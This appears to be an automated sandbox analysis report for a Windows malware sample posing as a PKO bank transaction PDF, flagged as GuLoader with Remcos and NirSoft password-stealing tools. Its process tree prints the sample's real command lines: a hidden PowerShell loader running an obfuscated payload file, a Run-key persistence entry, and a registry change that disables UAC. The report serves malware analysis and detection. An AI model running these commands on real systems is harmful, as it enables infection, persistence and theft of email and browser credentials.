Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-07-2024 08:39

General

  • Target

    pko_trans_details_20240710_105339·pdf.exe

  • Size

    477KB

  • MD5

    c601d5e720a191b1e304c8bcbf63b675

  • SHA1

    80133fe77b17d44886e6201d7723be90489a55d2

  • SHA256

    d7325eb4553b2c58a8580cb84af63cfe5cdf4ff23a3d4e09a963c656d5717d8c

  • SHA512

    2a78f640f01f365d23bb45bfc96e6900eb1814804bbf905876ac9d6e9353fd3e648efc08858b9e29e41eb6c2262e528d34b00d847524aeeabf41eb319792566f

  • SSDEEP

    6144:39X0GFlllllllqllllllllllllhllllYllltlld0wz/ypzAJP8xvP2nWaLcAqRFk:R0Nwzy4EP2nWaPqzJgBKjYl92gCU3Bbl

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • UAC bypass 3 TTPs 1 IoCs
  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Blocklisted process makes network request 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 4 IoCs
  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe
    "C:\Users\Admin\AppData\Local\Temp\pko_trans_details_20240710_105339·pdf.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2644
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Forhrt=Get-Content 'C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San';$Forset=$Forhrt.SubString(45874,3);.$Forset($Forhrt)"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtCreateThreadExHideFromDebugger
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3220
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preeffort" /t REG_EXPAND_SZ /d "%Begittede% -windowstyle minimized $Assiduity=(Get-ItemProperty -Path 'HKCU:\Jeglasset\').Communicatory;%Begittede% ($Assiduity)"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\SysWOW64\reg.exe
          REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Preeffort" /t REG_EXPAND_SZ /d "%Begittede% -windowstyle minimized $Assiduity=(Get-ItemProperty -Path 'HKCU:\Jeglasset\').Communicatory;%Begittede% ($Assiduity)"
          4⤵
          • Adds Run key to start application
          • Modifies registry key
          PID:3920
      • C:\Windows\SysWOW64\cmd.exe
        /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1956
        • C:\Windows\SysWOW64\reg.exe
          C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
          4⤵
          • UAC bypass
          • Modifies registry key
          PID:732
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\dtgxucotnzmfifzebwqmlwxcdtnqyepc"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2468
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\nnmp"
        3⤵
        • Accesses Microsoft Outlook accounts
        PID:1760
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\Admin\AppData\Local\Temp\yqrivmj"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3700

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\remcos\logs.dat

    Filesize

    130B

    MD5

    434c9f981eadaffbec7aa8743e23e311

    SHA1

    d9454d2aaf51e2b1f4660c28006954234963b962

    SHA256

    2668d8f69a8ada3b2740a5ac2fe5ed1c8fba11a658c62647aa98a526870ba708

    SHA512

    60a9589eb71556df85a12b633103d7b5246685f353a11ed5aeb8a7cca926e7d193ebb176a770d817b9df16dba12ea1381dc759c888ca3776f5aad8b7b2c7e976

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lhnqlb3m.fum.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\dtgxucotnzmfifzebwqmlwxcdtnqyepc

    Filesize

    4KB

    MD5

    60e30555becdb968406edb87fff512ef

    SHA1

    65551417f6371c40e6d5dab38fe87ab634f9446e

    SHA256

    9e347aa1a363532c72d7728abe1afdc48b9418fae8cbf8bcbc50c9c22dfefa57

    SHA512

    cbe1aebf171b54f481028208aa85fb04145cc40772cc30e67107caa5cc70c73f274da362766f125093c1fab1416c687744e53e0f7c30b6ead866c6f6ba671449

  • C:\Users\Admin\AppData\Local\Temp\nsqC871.tmp\BgImage.dll

    Filesize

    7KB

    MD5

    521df745a41f0b8164ffd01717cacbba

    SHA1

    dc7a9eacfbeb1fae52091da5e80db6cb1b6bce74

    SHA256

    dbf91707fa157603bea025a6411cdcb497ab11262c9c18b14dc431a45aa17c0b

    SHA512

    c5b1ba062872a8f534e2f0eac57fc3c0d8be9cda79605d86566d67260ba5477444a0ddfed1838b4fb14c677e5342c8419a88fcd38147dbaa36ac1f9e00c52bbe

  • C:\Users\Admin\AppData\Local\Temp\nsqC871.tmp\UserInfo.dll

    Filesize

    4KB

    MD5

    acbda33dd5700c122e2fe48e3d4351fd

    SHA1

    2c154baf7c64052ee712b7cdf9c36b7697dd3fc8

    SHA256

    943b33829f9013e4d361482a5c8981ba20a7155c78691dbe02a8f8cd2a02efa0

    SHA512

    d090adf65a74ac5b910b18bb67e989714335e7b4778cd771cff154d7186351a1bebbc7103cca849bdfa2709c991947ffff6c1d8fdf16a74f4dfb614bce3ff6fd

  • C:\Users\Admin\AppData\Local\Temp\nsqC871.tmp\nsDialogs.dll

    Filesize

    9KB

    MD5

    1c8b2b40c642e8b5a5b3ff102796fb37

    SHA1

    3245f55afac50f775eb53fd6d14abb7fe523393d

    SHA256

    8780095aa2f49725388cddf00d79a74e85c9c4863b366f55c39c606a5fb8440c

    SHA512

    4ff2dc83f640933162ec8818bb1bf3b3be1183264750946a3d949d2e7068ee606277b6c840193ef2b4663952387f07f6ab12c84c4a11cae9a8de7bd4e7971c57

  • C:\Users\Admin\AppData\Local\kilns\Unobtainably\Helicopter.San

    Filesize

    67KB

    MD5

    bf1ebfd1285dd7ef43a587e9f51a8e33

    SHA1

    1dede4026611e9f40c91d9bbe406a06b2fd8bfa4

    SHA256

    de1db1c0a065f580b4fe878c5b363933e45ec7f0c06118d29b6d167af24189ff

    SHA512

    3b7b11a8989a0b46e4091c8e4c81e71a2454fc9fba77618d844653d548ecd59a2c8b8fce3338fa499ca84da8664f7e34f355ab8b18e3507598f5f63dd3a80389

  • C:\Users\Admin\AppData\Local\kilns\Unobtainably\Polemoniaceae11.Non

    Filesize

    310KB

    MD5

    afc1982fff88592a55312010cfc773c6

    SHA1

    c57e918c5149ca9c2a331a78ecef84ffc667feb7

    SHA256

    02a71af4b95cf275ba0430022e9c2665bd1e4ddb3177202c1c3059901eefd4f0

    SHA512

    f4acf46244cb0115e0666a631af6dd2e7400478103cd9c152e48307a2239108e7e6bf3b39467747b3efa8b0fbdc59216ad6a26ec5587c19bb56fb4512233117e

  • memory/1760-79-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1760-77-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/1760-81-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2468-80-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2468-76-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2468-78-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/3220-33-0x00000000059D0000-0x0000000005A36000-memory.dmp

    Filesize

    408KB

  • memory/3220-74-0x0000000008B60000-0x000000000D71C000-memory.dmp

    Filesize

    75.7MB

  • memory/3220-46-0x00000000072D0000-0x00000000072F2000-memory.dmp

    Filesize

    136KB

  • memory/3220-45-0x0000000006600000-0x000000000661A000-memory.dmp

    Filesize

    104KB

  • memory/3220-47-0x00000000078B0000-0x0000000007E54000-memory.dmp

    Filesize

    5.6MB

  • memory/3220-43-0x0000000006120000-0x000000000616C000-memory.dmp

    Filesize

    304KB

  • memory/3220-49-0x00000000084E0000-0x0000000008B5A000-memory.dmp

    Filesize

    6.5MB

  • memory/3220-51-0x0000000073360000-0x0000000073B10000-memory.dmp

    Filesize

    7.7MB

  • memory/3220-52-0x0000000073360000-0x0000000073B10000-memory.dmp

    Filesize

    7.7MB

  • memory/3220-53-0x0000000073360000-0x0000000073B10000-memory.dmp

    Filesize

    7.7MB

  • memory/3220-42-0x00000000060E0000-0x00000000060FE000-memory.dmp

    Filesize

    120KB

  • memory/3220-55-0x0000000073360000-0x0000000073B10000-memory.dmp

    Filesize

    7.7MB

  • memory/3220-56-0x0000000008B60000-0x000000000D71C000-memory.dmp

    Filesize

    75.7MB

  • memory/3220-58-0x0000000073360000-0x0000000073B10000-memory.dmp

    Filesize

    7.7MB

  • memory/3220-57-0x000000007336E000-0x000000007336F000-memory.dmp

    Filesize

    4KB

  • memory/3220-60-0x0000000073360000-0x0000000073B10000-memory.dmp

    Filesize

    7.7MB

  • memory/3220-61-0x0000000073360000-0x0000000073B10000-memory.dmp

    Filesize

    7.7MB

  • memory/3220-44-0x0000000006650000-0x00000000066E6000-memory.dmp

    Filesize

    600KB

  • memory/3220-37-0x0000000005AC0000-0x0000000005E14000-memory.dmp

    Filesize

    3.3MB

  • memory/3220-30-0x0000000005230000-0x0000000005296000-memory.dmp

    Filesize

    408KB

  • memory/3220-29-0x0000000005190000-0x00000000051B2000-memory.dmp

    Filesize

    136KB

  • memory/3220-24-0x000000007336E000-0x000000007336F000-memory.dmp

    Filesize

    4KB

  • memory/3220-100-0x0000000073360000-0x0000000073B10000-memory.dmp

    Filesize

    7.7MB

  • memory/3220-93-0x00000000067E0000-0x00000000067F9000-memory.dmp

    Filesize

    100KB

  • memory/3220-28-0x0000000073360000-0x0000000073B10000-memory.dmp

    Filesize

    7.7MB

  • memory/3220-27-0x00000000052A0000-0x00000000058C8000-memory.dmp

    Filesize

    6.2MB

  • memory/3220-26-0x0000000073360000-0x0000000073B10000-memory.dmp

    Filesize

    7.7MB

  • memory/3220-90-0x00000000067E0000-0x00000000067F9000-memory.dmp

    Filesize

    100KB

  • memory/3220-25-0x0000000004AA0000-0x0000000004AD6000-memory.dmp

    Filesize

    216KB

  • memory/3220-94-0x00000000067E0000-0x00000000067F9000-memory.dmp

    Filesize

    100KB

  • memory/3700-82-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/3700-83-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/3700-84-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB